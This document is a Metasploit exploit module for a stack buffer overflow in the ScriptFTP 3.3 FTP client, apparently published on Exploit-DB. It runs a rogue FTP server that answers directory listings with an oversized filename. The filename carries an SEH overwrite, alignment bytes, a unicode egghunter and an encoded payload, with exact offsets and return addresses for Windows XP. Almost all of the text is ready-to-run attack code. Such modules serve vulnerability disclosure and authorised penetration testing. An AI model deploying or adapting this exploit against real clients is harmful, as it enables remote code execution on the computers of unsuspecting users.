ScriptFTP 3.3 - Remote Buffer Overflow (Metasploit)



#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF)

#Date: Sept 20 2011
#Author: otoy
#Version: 3.3
#Tested on: Windows XP SP3
#CVE : -
#EDB-ID: 17876
#Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r


class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Exploit::Remote::FtpServer

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ScriptFTP 3.3 Remote Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is
                triggered when the client connects to a FTP server which sends an overly long directory
                and filename in response to a GETLIST command.

                This will cause an access violation, and will eventually overwrite the saved extended
                instruction pointer.  
            },
            'Author'      =>
                [
                    'modpr0be',     # Original bug
                    'Cyberheb',    # porting from poc to msf
                    'Otoy',     # final msf module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => "0",
            'References'     =>
                [
                    [ 'OSVDB', '75633'],
                    [ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                                        'Space'    => 1000,
                                        'DisableNops' => true,
                    'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
                    'BadChars'  =>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
                                'EncoderOptions' =>
                                    {
                                            'BufferRegister' => 'EDX',
                                    }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Sept 20 2011',
            'DefaultTarget'  => 0))

    end

    def setup
        super
    end

    def on_client_unknown_command(c,cmd,arg)
        c.put("200 OK\r\n")
    end


    #Unicode Encoder
        def get_unicode_payload(p)
            encoder = framework.encoders.create("x86/unicode_upper")
            encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
            unicode_payload = encoder.encode(p, nil, nil, platform)
            return unicode_payload
        end


    def on_client_command_list(c,arg)
        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end
        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")
        code = 226
        c.put("#{code} Directory send ok.\r\n")


        sampahawal = "A" * 1746
        nseh = "\x61\x62"
        seh = target['Ret']
        sampahbawah = 1250

                #prepare for align
                align = "\x60"                      #pushad
                align << "\x73"                     #nop/align
                align << "\x53"                     #push ebx
                align << "\x73"                     #nop/align
                align << "\x58"                     #pop eax
                align << "\x73"                     #nop/align
                align << "\x05\x02\x11"             #add eax,0x11000200
                align << "\x73"                     #nop/align
                align << "\x2d\x01\x11"             #sub eax,0x11000120
                align << "\x73"                     #nop/align

        #align after egg
                align2 = "\x73\x57\x73\x58\x73"             #nop/push edi/nop/pop eax/nop
                align2 << "\xb9\x1b\xaa"                    #mov ecx,0xaa001b00
                align2 << "\xe8\x73"                        #add al,ch + nop
                align2 << "\x50\x73\xc3"                    #push eax,nop,ret

                #walking
                walk = "\x50"                               #push eax
                walk << "\x73"                              #nop/align
             walk << "\xc3"                              #ret

        #egghunter
                egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
                egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
                egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
                egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
                egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
                egghunter << "SEYWKOYWA"

        #junk
        sampah1 = "\x44" * 106 + "\x73"
        sampah2 = "\x42" * 544

        #egg
        telur = "0t0t"
        
        #payload
        stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
        palpha = stubget + payload.encoded
        puni = get_unicode_payload(palpha)
        
        #filename
        filename = sampahawal
        filename << nseh
        filename << seh
        filename << align
        filename << walk
        filename << sampah1
        filename << egghunter
        filename << sampah2
        filename << telur
        filename << align2
        filename << puni
        filename << sampah1

        print_status(" - Sending directory list via data connection")
                dirlist = "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
                dirlist << "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}\r\n"
                dirlist << "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
        conn.put(dirlist)
        conn.close
        return
    end

end